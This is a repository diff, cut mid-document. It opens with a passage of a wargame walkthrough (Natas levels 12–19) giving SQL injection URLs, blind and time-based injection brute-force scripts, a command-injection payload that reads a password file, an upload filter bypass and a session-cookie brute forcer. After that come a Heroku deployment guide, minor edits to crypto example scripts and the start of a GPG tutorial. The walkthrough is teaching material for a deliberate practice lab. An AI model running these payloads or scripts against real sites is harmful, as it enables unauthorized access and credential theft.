how you run it]: http://portswigger.net/burp/help/suite_gettingstarted.html + +First, we lauch Burp: + +```sh +$ java -jar -Xmx1024m /path/to/burp.jar +``` + +Then we go to the proxy tab and then options, and we confirm Burp's Proxy listener is active at *127.0.0.1:8080*: + +![cyber](http://i.imgur.com/5xkHB29.png) + +We set the proxy configuration in our system to this address: + +![cyber](http://i.imgur.com/Au1Gimm.png) + +Back in Burp, we go to *Proxy --> Intercept* and mark it ON: + +![cyber](http://i.imgur.com/FAf5Hru.png) + +In the browser, we load the Natas12 page and accept the initial intercepts (forwarding it). We upload our exploit. + +Before we forward this request to the server, we open it in Burp and we change the name of the random string in *jpg* to our *php* exploit: + +![cyber](http://i.imgur.com/eywDMOy.png) + + +The browser will return the link for the file: + +![cyber](http://i.imgur.com/SGjbVsy.png) + +Clicking it will reveal the password. + + +### Level 13: File Inclusion Attack II + + + +This level looks like the previous one, except by the message: + +> For security reasons, we now only accept image files! + +We take a look at the source code and the only difference from the previous level's code is an *if* clause: +```php + 1000) { + echo "File is too big"; + } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) { + echo "File is not an image"; + } else { + if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { + echo "The file $target_path has been uploaded"; + } else{ + echo "There was an error uploading the file, please try again!"; + } + } +} else { +?> +``` + +The clause uses the PHP function [exif_imagetype] to check whether the file is an image type. + +The way it works is by checking the first bytes of the image and seeing whether it has an image signature. This signature is known as the [magic number]. Every binary has one. + +It should be obvious that adding the right signature to a file could tamper it to look like another file type. + +#### Crafting the attack: + +We search for an [image magic number]. For *jpg*, it's the hexadecimal *ff d8 ff e0*. For *gif*, however, it's really simple: *GIF89a*. + +Let's use it! + +Adding this number to our script from the previous level, + +``` +GIF89a + +``` + +and following the previous steps, leads to the password for the next level. + + +[exif_imagetype]:http://php.net/manual/en/function.exif-imagetype.php +[magic number]:http://en.wikipedia.org/wiki/List_of_file_signatures +[image magic number]:http://en.wikipedia.org/wiki/Graphics_Interchange_Format + + + +### Level 14: SQL Injection + + + +This level starts with a *username* and *password* form: + +![cyber](http://i.imgur.com/qDA3nCP.png) + +Looking at the source code, we see THE connection to a MySQL server, and a SQL query to look for a record in the database: + +```php +'); + mysql_select_db('natas14', $link); + + $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\""; + if(array_key_exists("debug", $_GET)) { + echo "Executing query: $query
"; + } + + if(mysql_num_rows(mysql_query($query, $link)) > 0) { + echo "Successful login! The password for natas15 is
"; + } else { + echo "Access denied!
"; + } + mysql_close($link); +} else { +?> +``` + +If the query returns one or more row, we get a message with the password for the next level. + +The *GET* in the *if* clause declares the parameter *debug* without checking whether this is a safe query input! + +Therefore, while a simple GET query such as: + +> http://natas14.natas.labs.overthewire.org/index.php?username=admin&password=pass + +returns: + +![cyber](http://i.imgur.com/mWhSVxh.png) + + +A crafted query using [SQL Injection] (SQLi) can return whatever we want :). + +#### Crafting the attack: + +Without any injection, a regular query with words *admin* and *pass* would look like this: +``` +SELECT * from users where username="$(Username)" and password="$(Password)" +``` + +We want to inject stuff in the middle to make this query do *more things*. + +In SQLi, we need to take care of the **"** that is automatically added in the end by the server. The simplest way to do this is by including an **always true clause** at the end of everything. It can be represented by: + +``` +OR '1'='1' +``` + +So, for example, the following query would not give any error: + +``` +SELECT * from users where username="admin" and password="pass" OR "1"="1" +``` + +Now, we need to add stuff before OR! + +When we craft the right URL, we keep in mind that whitespace will be translated to *%20* and **""** will be translated to *%22*. + +Finally, the following URL: + +> http://natas14.natas.labs.overthewire.org/index.php?username=admin&password=pass%22%20OR%20%221%22=%221 + +reveals the password. + + + +[SQL Injection]: https://www.owasp.org/index.php/SQL_Injection + + + +---- + +## Now the Juice: Scripting Attacks + + + +### Level 15: SQL Injection II + + + +This level starts with a form to check the existence of some username: + +![cyber](http://i.imgur.com/SO4K5wK.png) + + The source code is almost equal to the previous level, with the exception of this part: + +``` +/* +CREATE TABLE `users` ( + `username` varchar(64) DEFAULT NULL, + `password` varchar(64) DEFAULT NULL +); +*/ +``` + +And the fact that the *$query* does not have a password part and it is hygienized now: + +``` +if(array_key_exists("username", $_REQUEST)) { + $link = mysql_connect('localhost', 'natas15', ''); + mysql_select_db('natas15', $link); + $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; + if(array_key_exists("debug", $_GET)) { + echo "Executing query: $query
"; + } + $res = mysql_query($query, $link); + if($res) { + if(mysql_num_rows($res) > 0) { + echo "This user exists.
"; + } else { + echo "This user doesn't exist.
"; + } + } else { + echo "Error in query.
"; + } + mysql_close($link); +} else { +?> +``` + +We can't just modify the query to return a record because it won't accept **"**. + +However, additional information about the table's proprieties is enough for us! We are going to brute force it! + +#### Stating the Attack: + +If we check the existence of the users *nata15* or *natas17*, we get: + +> The user doesn't exist. + +However, if we check for *natas16* we verify that this user exists! Now we just need a password. + +Since checking this *natas16* will always return true, we can inject another clause to the query using the keyword AND: + + +``` +SELECT * from users where username="natas16" AND our_exploit +``` + +To pick this additional clause, we look at the [SQL wildcards and keywords] + +We can use the SQL function [SUBSTRING] and the symbol **%** to compare strings. For example, the following checks whether there is an **a** in the third position of the variable password: + + + +[SQL wildcards and keywords]: http://www.w3schools.com/sql/sql_wildcards.asp +[SUBSTRING]: http://www.1keydata.com/sql/sql-substring.html + +``` +AND SUBSTRING(password,3,1) = BINARY "a" +``` + +If SUBSTRING returns false, the entire query becomes false because of the **AND**, and we see the message: + +> This user doesn’t exist. + +If it returns true, we see + +> This user exists. + +Beautiful. + +#### Crafting the attack: + +We use Python's [request] library to craft our attack: + +[request]: http://docs.python-requests.org/en/latest/user/quickstart/ + +```python +import requests +import string + +def brute_force_password(LENGTH, AUTH, CHARS, SQL_URL1, SQL_URL2, KEYWORD): + password = '' + for i in range(1, LENGTH+1): + for j in range (len(CHARS)): + r = requests.get( ( SQL_URL1 + str(i) + SQL_URL2 + CHARS[j] ), auth=AUTH) + print r.url + if KEYWORD in r.text: + password += CHARS[j] + print("Password so far: " + password) + break + return password + +if __name__ == '__main__': + # authorization: login and password + AUTH = ('natas15', '*******************************') + + # BASE64 password and 32 bytes + CHARS = string.ascii_letters + string.digits + LENGTH = 32 + + # crafted url option 1 + SQL_URL1 = 'http://natas15.natas.labs.overthewire.org?username=natas16" AND SUBSTRING(password,' + SQL_URL2 = ',1) LIKE BINARY "' + KEYWORD = 'exists' + + print(brute_force_password(LENGTH, AUTH, CHARS, SQL_URL1, SQL_URL2, KEYWORD)) +``` + +After around 10 minutes we have our password. + +### Level 16: OS Command Injection III + + + +This level starts with a searching form: + +![cyber](http://i.imgur.com/kMHZzZ9.png) + +The source code is similar to the 9th and 10th levels: +``` +
+
+
+``` + +The difference now is that the code is being hygienized for **`**, **"**, and **'**. The old attack adding **""** won't work. + +We need to figure out what else we can use. + + +Bash has a feature called [command substitution], where commands can be passed with: +``` +$(command) +``` + +For example, the date command: + +```sh +$ MY_CMD="$(date)" +$ echo $MY_CMD +Wed Oct 14 20:23:41 EDT 2014 +``` + +[command substitution]: http://www.tldp.org/LDP/abs/html/commandsub.html + +#### Stating the attack: + +We are going to use command substitution to craft command in the variable *$key*, which lies inside: + +``` +grep -i \"$key\" dictionary.txt +``` +We are going to add another grep! Let's call it *grep II*. + +This time we will give it the flag ```-E``` to allow the use of regular expressions. + + +So, for example, we can use the *regex wildcard* **.\*** to search for a char (say *a*) in the password string: + + +``` +$(grep -E ^a.* /etc/natas_webpass/natas17)banana +``` + +If *grep II* finds a match, it returns the char. In the other case, it won't return any output. + +Once *grep II* is over, *grep I* will do the regular search for the pattern we passed (banana). + +If *grep II* didn't return anything, a banana will be banana. If *grep II* returns a match, a banana will have this extra string added to it (abanana). + +Now we can extend this logic to each char in the password string. + +#### Crafting the attack: + +By inspection, we see that the crafted URL to check, say, *a* in the first char, should look like this: + +> http://natas16.natas.labs.overthewire.org/?needle=$(grep%20-E%20^a.*%20/etc/natas_webpass/natas17)banana&submit=Search + +So we can write the following script: + + +```python +import requests +import string + +def brute_force_password(LENGTH, AUTH, CHARS, URL1, URL2): + password = '' + for i in range(1, LENGTH+1): + for j in range (len(CHARS)): + print("Position %d: Trying %s ..." %(i, CHARS[j])) + r = requests.get( ( URL1 + password + CHARS[j] + URL2 ), auth=AUTH) + if 'bananas' not in r.text: + password += CHARS[j] + print("Password so far: " + password) + break + return password + +if __name__ == '__main__': + # authorization: login and password + AUTH = ('natas16', '****************************') + + # BASE64 password and 32 bytes + CHARS = string.ascii_letters + string.digits + LENGTH = 32 + + # crafted url + URL1 = 'http://natas16.natas.labs.overthewire.org?needle=$(grep -E ^' + URL2 = '.* /etc/natas_webpass/natas17)banana&submit=Search' + + print(brute_force_password(LENGTH, AUTH, CHARS, URL1, URL2)) +``` + + + +Around 10 minutes later, we get our password. + + + +### Level 17: SQL Injection III + + + +This level starts with a username search similar from the 14th and 15th levels: + + +``` +/* +CREATE TABLE `users` ( + `username` varchar(64) DEFAULT NULL, + `password` varchar(64) DEFAULT NULL +); +*/ +if(array_key_exists("username", $_REQUEST)) { + $link = mysql_connect('localhost', 'natas17', ''); + mysql_select_db('natas17', $link); + $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; + if(array_key_exists("debug", $_GET)) { + echo "Executing query: $query
"; + } + $res = mysql_query($query, $link); + if($res) { + if(mysql_num_rows($res) > 0) { + //echo "This user exists.
"; + } else { + //echo "This user doesn't exist.
"; + } + } else { + //echo "Error in query.
"; + } + mysql_close($link); +} else { +?> +``` + + +The difference now is that the echo commands are commented off. We can't use the same method as before to check whether we got a right char in the password. + +What other ways we can have binary indicator? + +We can play with time! + +#### Stating the Attack: + +Luckily, MySQL has a query [sleep()] that delays the next command for a number of seconds. We can use this as an injected command at the end of our former exploits: + +[sleep()]: http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html#function_sleep + +``` +AND SUBSTRING(password,3,1)) LIKE BINARY AND SLEEP(5) AND "1"="1 +``` + +Notice that since SLEEP() does not carry a **"** we use the *always true* clause to close the **"** added by the server. + + +A crafted URL should look like this: + +> http://natas15.natas.labs.overthewire.org/?username=natas16%22%20AND%20SUBSTRING(password,1,1)%20LIKE%20BINARY%20%22d%22%20AND%20SLEEP(320)%20AND%20%221%22=%221 + +#### Crafting the Attack: + +The new script is: + +```python +import requests +import string + +def brute_force_password(LENGTH, AUTH, CHARS, SQL_URL1, SQL_URL2): + password = '' + for i in range(1, LENGTH+1): + for j in range (len(CHARS)): + r = requests.get( ( SQL_URL1 + str(i) + SQL_URL2 + CHARS[j] + SQL_URL3 ), auth=AUTH) + time = r.elapsed.total_seconds() + print("Position %d: trying %s... Time: %.3f" %(i, CHARS[j], time)) + #print r.url + if time >= 9: + password += CHARS[j] + print("Password so far: " + password) + break + return password + +if __name__ == '__main__': + # authorization: login and password + AUTH = ('natas17', '****************************') + + # BASE64 password and 32 bytes + CHARS = string.ascii_letters + string.digits + LENGTH = 32 + + # crafted url + SQL_URL1 = 'http://natas17.natas.labs.overthewire.org?username=natas18" AND SUBSTRING(password,' + SQL_URL2 = ',1) LIKE BINARY "' + SQL_URL3 = '" AND SLEEP(10) AND "1"="1' + + print(brute_force_password(LENGTH, AUTH, CHARS, SQL_URL1, SQL_URL2)) +``` + +Around 15 minutes later, I got the password. + + + +### Level 18: Hijacking Session ID + + + +The 18th level starts with a login form, just like the levels before it. The source code is much more intricate though. + +First, we see the declaration of the size of the id. This is important if we want to brute force the solution: + +``` +$maxid = 640; // 640 should be enough for everyone +``` + +Then we have a function that checks whether a variable *$id* is a number with the PHP function [is_numeric]: + +[is_numeric]: http://php.net/manual/en/function.is-numeric.php + +``` +function isValidID($id) { /* {{{ */ + return is_numeric($id); +} +``` + + +Then we have this main object: +``` +$showform = true; +if(my_session_start()) { + print_credentials(); + $showform = false; +} else { + if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) { + session_id(createID($_REQUEST["username"])); + session_start(); + $_SESSION["admin"] = isValidAdminLogin(); + debug("New session started"); + $showform = false; + print_credentials(); + } +} +if($showform) { +?> +``` +The next function create an random id number with the value defined by *$maxid*: +```php +function createID($user) { /* {{{ */ + global $maxid; + return rand(1, $maxid); +} +``` + +This checks whether the function *my_session_start()* is true: + +``` +function my_session_start() { /* {{{ */ + if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) { + if(!session_start()) { + debug("Session start failed"); + return false; + } else { + debug("Session start ok"); + if(!array_key_exists("admin", $_SESSION)) { + debug("Session was old: admin flag set"); + $_SESSION["admin"] = 0; // backwards compatible, secure + } + return true; + } + } + return false; +} +``` + + +In the case it's true, a function that prints the credentials is called, printing our password: + +``` +function print_credentials() { /* {{{ */ + if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { + print "You are an admin. The credentials for the next level are:
"; + print "
Username: natas19\n";
+ print "Password: 
"; + } else { + print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19."; + } +} +``` + +If *%my_session* is not true, it will look to the HTTP request and search for username and password. If it finds them, it creates a session id: + +``` +function isValidAdminLogin() { /* {{{ */ + if($_REQUEST["username"] == "admin") { + /* This method of authentication appears to be unsafe and has been disabled for now. */ + //return 1; + } + return 0; +``` + + + + + + +So, in summary, we have a function that starts the session, first checking if the session id is in the cookie, and if this session id is a number. If true, it checks if it's a fresh session. Then, it checks if the word *admin* is in [SESSION_ID]. If not, it invalidates the session. + +[SESSION_ID]: http://en.wikipedia.org/wiki/Session_ID + +If the SESSION_ID is the admin session ID, the password for the next is shown. + +After that, it calls PHP's [session_starts()]. + +The session ID is given by the variable *PHPSESSID*, and that's what we are going to brute force to get our password. + + + + + + +The variable [$_REQUEST] is an array that by default contains the contents of *$_GET*, *$_POST* and *$_COOKIE*. + +[$_REQUEST]: http://php.net/manual/en/reserved.variables.request.php + +[session_starts()]: http://php.net/manual/en/function.session-start.php + +#### Crafting the attack: + +We write the following script: + +```python +import requests + +def brute_force_password(AUTH, URL, PAYLOAD, MAXID): + for i in range(MAXID): + HEADER ={'Cookie':'PHPSESSID=' + str(i)} + r = requests.post(URL, auth=AUTH, params=PAYLOAD, headers=HEADER) + if "You are an admin" in r.text: + print(r.text) + print(r.url) + print(str(i)) + +if __name__ == '__main__': + AUTH = ('natas18', '*************************') + URL = 'http://natas18.natas.labs.overthewire.org/index.php?' + + PAYLOAD = ({'debug': '1', 'username': 'user', 'password': 'pass'}) + MAXID = 640 + + brute_force_password(AUTH, URL, PAYLOAD, MAXID) +``` + +After a few minutes, we get our password. + + + + + + + + + + + + + + + + + + + +### Level 19: Hijacking Session ID II + + + +This level looks exactly like the previous except that it has the following message: + +> This page uses mostly the same code as the previous level, but session IDs are no longer sequential ... + +![cyber](http://i.imgur.com/OQ7LATt.png) + + +This time we have no access to the source code to see how the session IDs are created. However, we have access to the values in the cookie which are created by the session. + +We write the following snippet: + +```python +HEADER ={'Cookie':'PHPSESSID=' + str(i)} +r = requests.post(URL, auth=AUTH, params=PAYLOAD, headers=HEADER) +print(i) +print(HEADER[1]) +``` + +This produces the following output: + +``` +0 +{'PHPSESSID': '3236312d75736572'} +1 +{'PHPSESSID': '3136372d75736572'} +2 +{'PHPSESSID': '3534342d75736572'} +3 +{'PHPSESSID': '3238352d75736572'} +4 +{'PHPSESSID': '3334332d75736572'} +(...) +``` + +So the session ID is an hexadecimal number. Let's decode it: + +```python +id_hex = requests.utils.dict_from_cookiejar(r.cookies)['PHPSESSID'] +print(id_hex.decode('hex')) +``` + +Mmmm, interesting: + +``` +0 +548-user +1 +275-user +2 +237-user +3 +90-user +4 +535-user +(...) +``` + +The session ID is really a random number (below 640) attached to the given username. That's easy. + +#### Crafting the attack: + + +We write the following script: + +```python +import requests + +def brute_force_password(AUTH, URL, PAYLOAD, MAXID): + for i in range(MAXID): + HEADER ={'Cookie':'PHPSESSID=' + (str(i) + '-admin').encode('hex')} + r = requests.post(URL, auth=AUTH, params=PAYLOAD, headers=HEADER) + print(i) + if "You are an admin" in r.text: + print(r.text) + print(r.url) + +if __name__ == '__main__': + + AUTH = ('natas19', '***********************') + URL = 'http://natas19.natas.labs.overthewire.org/index.php?' + + PAYLOAD = ({'debug': '1', 'username': 'admin', 'password': 'pass'}) + MAXID = 640 + + brute_force_password(AUTH, URL, PAYLOAD, MAXID) +``` + +And we get our password in the 501st attempt. Awesome. + + + +_____________________ + +That's it. The [source code is available] as usual. + + +Hack all the things! + +[source code is available]: https://github.com/autistic-symposium/sec-pentesting-toolkit/tree/master/Web_Exploits diff --git a/Cloud_and_K8s_Hacking/README.md b/Cloud_and_K8s_Hacking/README.md new file mode 100644 index 0000000..cfef339 --- /dev/null +++ b/Cloud_and_K8s_Hacking/README.md @@ -0,0 +1,13 @@ +# Cloud and K8s Hacking + +### CI/CD pipelines + +* Static code security analyzers: [SonarQube](https://www.sonarqube.org/) (Javascript scanner), [NodeJsScan](https://github.com/ajinabraham/NodeJsScan). +* Package dependency security analyzers: [Snyk](https://snyk.io/). +* Docker image security analyzers: [Hadolint](https://github.com/hadolint/hadolint), [Clair](https://github.com/coreos/clair), [Anchore](https://anchore.com/). +* AWS IAM permission analyzers: [IAM access advisor APIs](https://aws.amazon.com/blogs/security/automate-analyzing-permissions-using-iam-access-advisor/). +* [PMapper](https://github.com/nccgroup/PMapper). +* AWS S3 permission analyzers: [s3audit](https://github.com/scalefactory/s3audit). +* Docker runtime anomaly detection: [Falco](https://hub.docker.com/r/sysdig/falco). +* Kubernetes policy security analyzers: [RBAC](https://searchsecurity.techtarget.com/definition/role-based-access-control-RBAC). +* Policy auditing tools: [Rakkess](https://github.com/corneliusweig/rakkess). diff --git a/Cloud_and_K8s_Hacking/intro_heroku.md b/Cloud_and_K8s_Hacking/intro_heroku.md new file mode 100644 index 0000000..f393117 --- /dev/null +++ b/Cloud_and_K8s_Hacking/intro_heroku.md @@ -0,0 +1,199 @@ +# Deploying a Flask App at Heroku + + +Heroku platform is very flexible, and it supports several programming languages. To +deploy an application to Heroku, use Git to push the application to Heroku’s server. + +This document shows how to deploy [Anti-Social Network](https://anti-social.herokuapp.com/). + +# Running in a Production Server + +Heroku does not provide a web server, but it expects it to start their own servers and listen on the port number set in environment variable PORT. Flask will perform very poorly because it was not designed to run in a production environment. To improve this, you may use a production-ready web server such as Gunicorn. + +``` +$ pip install gunicorn +``` + +Now, run your app with: + +``` +$ gunicorn manage:app +``` + +Gunicorn uses port 8000 instead of 5000. + +# Heroku Setting Up + +### Create an account at Heroku.com + +If you haven't done it yet, remember: you will be able to keep up to five applications running (you can always delete them if you need). + +### Install Git and Heroku Toolbelt + +You can find instructions at Heroku.com. + +For example, if you are in an AWS EC2 Ubuntu instance, you can use: + +``` +$ sudo apt-get install -y git-core +$ wget -qO- https://toolbelt.heroku.com/install-ubuntu.sh | sh +``` + +You can check if it worked with: + +``` +$ which git +$ which heroku +``` + +Now, login at Heroku: + +``` +$ heroku login +``` + +## Authorize your Machine at Heroku + +### Create and add an SSH Key at Heroku: + +``` +$ ssh-keygen -t rsa +$ heroku keys:add +``` + +The public and private keys will be at ```~/.ssh```. I always recommend backup your keys. Never share your private key. + +### Creating a Git Repository + +Heroku's push/commits work just like Git. But instead of using the "origin" you use "heroku" (you can verify this later at .git/refs/remotes/). In other words, your project's control version (development) is done by using: + +``` +$ git push origin master (or any branch you like) +``` + +and the deployment at Heroku (production) is done using: + +``` +$ git push heroku master (or any branch you like) +``` + +In the root of your project, go ahead, and create a Git repository, commit, add, push: + +``` +$ git init +$ git add -A +$ git commit -m "First commit" +$ git push origin master +``` + +### Creating an App + +Now, let's create our app at Heroku: + +``` +$ heroku create +``` + +You can check all your current applications with: + +``` +$ heroku apps +``` + +### Addons and Environment Variables + +Now it's time to add the addons and the environment variables to your app at the Heroku server. For the app I mentioned in the beginning, I type: + +``` +$ heroku addons:add heroku-postgresql:dev +$ heroku pg:promote HEROKU_POSTGRESQL_ONYX_URL +$ heroku config:set MAIL_USERNAME="" +$ heroku config:set MAIL_PASSWORD="" +``` + +You can always check your configuration with: +``` +$ heroku config +``` + +### Adding Requirements + +Heroku needs to know what libraries and packages it needs to install to be able to run your application. For this, create a file requirements.txt in the root of your app, with all the libraries from your environment. One way of doing this is by: + +``` +$ cat pip freeze >> requirements.txt +``` + +#### Adding Procfile + +Next, Heroku needs to know the command to use to start your app. This is given by a file called Procfile. The content should be: + +``` +web gunicorn manage:app +``` +(if this is how you run your application). + +In the Procfile, each line has a task name, a colon, and the command that runs the task. We use web here because Heroku recognizes it as the task that starts the webserver. Heroku gives this task a PORT environment variable, and set it to the port in which the application needs to listen for requests. + +### Using Foreman to Emulate Heroku + +The Heroku Toolbelt includes Foreman, used to run the app locally through the Procfile for testing purposes. The environment variables set at Heroku must be defined locally. Just create a file var.env with this information: + +``` +FLASK_CONFIG=heroku +MAIL_USERNAME= +MAIL_PASSWORD= +``` + +Foreman run is used to run commands under the environment of the application. Foreman start reads the Procfile and executes the tasks in it: + +``` +$ foreman run python manage.py deploy +$ foreman start +``` + +### Configuring Logging + +In Heroku, logs are written to stdout or stderr. In my app, I added the logging configuration to a class in my app's ```config.py``` file: + +``` +class HerokuConfig(ProductionConfig): + @classmethod + def init_app(cls, app): + ProductionConfig.init_app(app) + + import logging + from logging import StreamHandler + file_handler = StreamHandler() + file_handler.setLevel(logging.WARNING) + app.logger.addHandler(file_handler) +``` + +To let Heroku know what configuration it should use, I add this environment variable: +``` +$ heroku config:set FLASK_CONFIG=heroku +``` + +Now if something goes wrong when you deploy, you can always check the log: + +``` +$ heroku logs +``` + +### Deploying! + +If everything is well-done, it's time to deploy your application. Since you already committed your app before, you just need to push it to Heroku: + +``` +$ git push heroku master +``` + +In my app, I have a script for the deployment (such as taking care of database and other setups for production). So, additionally, I run: + +``` +$ heroku run python manage.py deploy +$ heroku restart +``` + +That's it! The app should be running at ```< app-name >.herokuapp.com```. + diff --git a/Cryptography/Block_Ciphers/DES/DES_CFB_example.py b/Cryptography/Block_Ciphers/DES/DES_CFB_example.py index 78c3ef5..eab4f1f 100644 --- a/Cryptography/Block_Ciphers/DES/DES_CFB_example.py +++ b/Cryptography/Block_Ciphers/DES/DES_CFB_example.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "bt3gl" from Crypto.Cipher import DES diff --git a/Cryptography/Block_Ciphers/DES/DES_ECB_example.py b/Cryptography/Block_Ciphers/DES/DES_ECB_example.py index fff0ae6..a04e0ea 100644 --- a/Cryptography/Block_Ciphers/DES/DES_ECB_example.py +++ b/Cryptography/Block_Ciphers/DES/DES_ECB_example.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "bt3gl" from Crypto.Cipher import DES diff --git a/Cryptography/Hash_Functions/MD5/Hash-Length-extension-attacks/VimeoHashExploit/client.py b/Cryptography/Hash_Functions/MD5/Hash-Length-extension-attacks/VimeoHashExploit/client.py index 523c603..9452f7b 100644 --- a/Cryptography/Hash_Functions/MD5/Hash-Length-extension-attacks/VimeoHashExploit/client.py +++ b/Cryptography/Hash_Functions/MD5/Hash-Length-extension-attacks/VimeoHashExploit/client.py @@ -1,6 +1,6 @@ """ Adapted from Filippo Valsorda's tutorial - Marina Wahl, august/2014 + bt3gl, 2014 """ from md5 import MD5 diff --git a/Cryptography/Hash_Functions/MD5/Hash-Length-extension-attacks/VimeoHashExploit/requirements.txt b/Cryptography/Hash_Functions/MD5/Hash-Length-extension-attacks/VimeoHashExploit/requirements.txt index fc5c2e3..bed3f8c 100644 --- a/Cryptography/Hash_Functions/MD5/Hash-Length-extension-attacks/VimeoHashExploit/requirements.txt +++ b/Cryptography/Hash_Functions/MD5/Hash-Length-extension-attacks/VimeoHashExploit/requirements.txt @@ -1,2 +1,3 @@ -Flask==0.10.1 -requests==2.3.0 +Flask==2.2.5 +requests==2.32.2 + diff --git a/Cryptography/Hash_Functions/MD5/brute_force_hex_digest_chars.py b/Cryptography/Hash_Functions/MD5/brute_force_hex_digest_chars.py index f077bf1..3e9e0fa 100644 --- a/Cryptography/Hash_Functions/MD5/brute_force_hex_digest_chars.py +++ b/Cryptography/Hash_Functions/MD5/brute_force_hex_digest_chars.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "bt3gl" ''' diff --git a/Cryptography/Hash_Functions/MD5/checksum_file.py b/Cryptography/Hash_Functions/MD5/checksum_file.py index 0b9bad0..4e3edfe 100644 --- a/Cryptography/Hash_Functions/MD5/checksum_file.py +++ b/Cryptography/Hash_Functions/MD5/checksum_file.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "bt3gl" ''' Calculate the MD5 checksum of a file. @@ -18,4 +18,4 @@ def get_file_checksum(filename): if len(chunk) == 0: break h.update(chunk) - return h.hexdigest() \ No newline at end of file + return h.hexdigest() diff --git a/Cryptography/README.md b/Cryptography/README.md index 2f6bb03..7a088f7 100644 --- a/Cryptography/README.md +++ b/Cryptography/README.md @@ -1,17 +1,14 @@ # Cryptography +Often data is just encoded in base64 or hex. Other times it's just compressed (gzip): -### Some Tips: - -- Often data is just encoded in base64 or hex. Other times it's just compressed (gzip): - - Text 32 characters long --> md5 hash. - - 40 characters long --> SHA1 hash. - - equal signs spread --> base64 encoded string. - - text only letters, without numbers or special characters --> Caesar, Vigenere, or other type of cipher. - - hints about keys and signing --> likely RSA. +* Text 32 characters long --> md5 hash. +* 40 characters long --> SHA1 hash. +* equal signs spread --> base64 encoded string. +* text only letters, without numbers or special characters --> Caesar, Vigenere, or other type of cipher. +* hints about keys and signing --> likely RSA. ---- ## MD5 diff --git a/Cryptography/Rotation-Ciphers/cesarCipher_simple.py b/Cryptography/Rotation-Ciphers/cesarCipher_simple.py index 56eb6be..fead116 100644 --- a/Cryptography/Rotation-Ciphers/cesarCipher_simple.py +++ b/Cryptography/Rotation-Ciphers/cesarCipher_simple.py @@ -1,8 +1,7 @@ #!/usr/bin/env python -__author__ = "Mari Wahl" -__email__ = "marina.w4hl@gmail.com" +__author__ = "bt3gl" ''' Cesar Ecrypt diff --git a/Cryptography/Rotation-Ciphers/cesarCipher_simple_2.py b/Cryptography/Rotation-Ciphers/cesarCipher_simple_2.py index a5f5f7c..e44a6b1 100644 --- a/Cryptography/Rotation-Ciphers/cesarCipher_simple_2.py +++ b/Cryptography/Rotation-Ciphers/cesarCipher_simple_2.py @@ -1,8 +1,7 @@ #!/usr/bin/env python -__author__ = "Mari Wahl" -__email__ = "marina.w4hl@gmail.com" +__author__ = "bt3gl" ''' Cesar encrypt - better diff --git a/Cryptography/Rotation-Ciphers/taste_like_english.py b/Cryptography/Rotation-Ciphers/taste_like_english.py index 31454ea..b307971 100644 --- a/Cryptography/Rotation-Ciphers/taste_like_english.py +++ b/Cryptography/Rotation-Ciphers/taste_like_english.py @@ -1,7 +1,6 @@ #!/usr/bin/env python -__author__ = "Mari Wahl" -__email__ = "marina.w4hl@gmail.com" +__author__ = "bt3gl" ''' This program calculate the frequency of letters in a files diff --git a/Cryptography/everything_GPG.md b/Cryptography/everything_GPG.md new file mode 100644 index 0000000..ad3017a --- /dev/null +++ b/Cryptography/everything_GPG.md @@ -0,0 +1,222 @@ +# Intro to OpenPGP & GPG + +[Pretty Good Privacy](http://en.wikipedia.org/wiki/Pretty_Good_Privacy) (PGP) is a model that provides cryptographic privacy and authentication for data communication. It was created by [Phil Zimmermann](http://en.wikipedia.org/wiki/Phil_Zimmermann) in 1991. Today, PGP is a [company](http://en.wikipedia.org/wiki/PGP_Corporation) that sells a proprietary encryption program, [OpenPGP](http://www.openpgp.org/) is the open protocol that defines how PGP encryption works, and [GnuGP](https://www.gnupg.org/) is the free software. + + +The distribution of PGP keys can be done using the concept of [web of trust](http://en.wikipedia.org/wiki/Web_of_trust). It is a decentralized way of establishing the authenticity of a public key and its owner. If you want a cute (ludic) picture of the web of trust, check [Cory Doctorow](https://twitter.com/doctorow)'s book [Little Brother](http://craphound.com/littlebrother/). + + +Almost 15 years after its creation, [PGP continues to be *pretty good*](https://firstlook.org/theintercept/2014/10/28/smuggling-snowden-secrets/). But there is still a [need for new solutions](http://blog.cryptographyengineering.com/2014/08/whats-matter-with-pgp.html) (and they appear to be [coming soon](http://googleonlinesecurity.blogspot.com/2014/06/making-end-to-end-encryption-easier-to.html)). Perhaps the main issue with PGP is its persistence. If one key is compromised, any message from the past can be read. That's where the concept of [perfect forward secrecy ](http://en.wikipedia.org/wiki/Forward_secrecy) comes in play, but this is a subject to another post. + +Meanwhile, I wrote this tutorial, and I hope you find it fun. Btw, [this post was first published at CodeWall and it had 1.5k+ views at the time](https://coderwall.com/p/ajtlqa/getting-started-with-pgp-gpg). + + + + + + +### I. Creating GPG keys + +Type the following in the terminal: + +```sh +$ gpg --gen-key +``` + +Chose [RSA](http://en.wikipedia.org/wiki/RSA_(cryptosystem)) with 4096 bits long and expiration up to 5 years. Use a [strong passphrase](https://www.eff.org/wp/defending-privacy-us-border-guide-travelers-carrying-digital-devices#passphrase) (keep it safe since it cannot be recovered). + +### II. Backup your Private Key + +Save it with your soul: + +```sh +$ gpg --export-secret-keys --armor YOUR_EMAIL > YOUR_NAME-privkey.asc +``` + +### III. Sharing your key + +There are several ways you can share or publish your public key: + +#### By sharing the key's fingerprint + +The key's fingerprint is the same as its signature. Each PGP key has a unique fingerprint that allows you to confirm to others that they have received your actual public key without tampering. A fingerprint is a more convenient way to represent a key uniquely. + +To check the fingerprint of any key that you have in your keyring, type: + +```sh +$ gpg --fingerprint EMAIL +``` + +#### By sending the ASCII file +You can copy your key to a file to be shared: +```sh +$ gpg --export --armor YOUR_EMAIL > 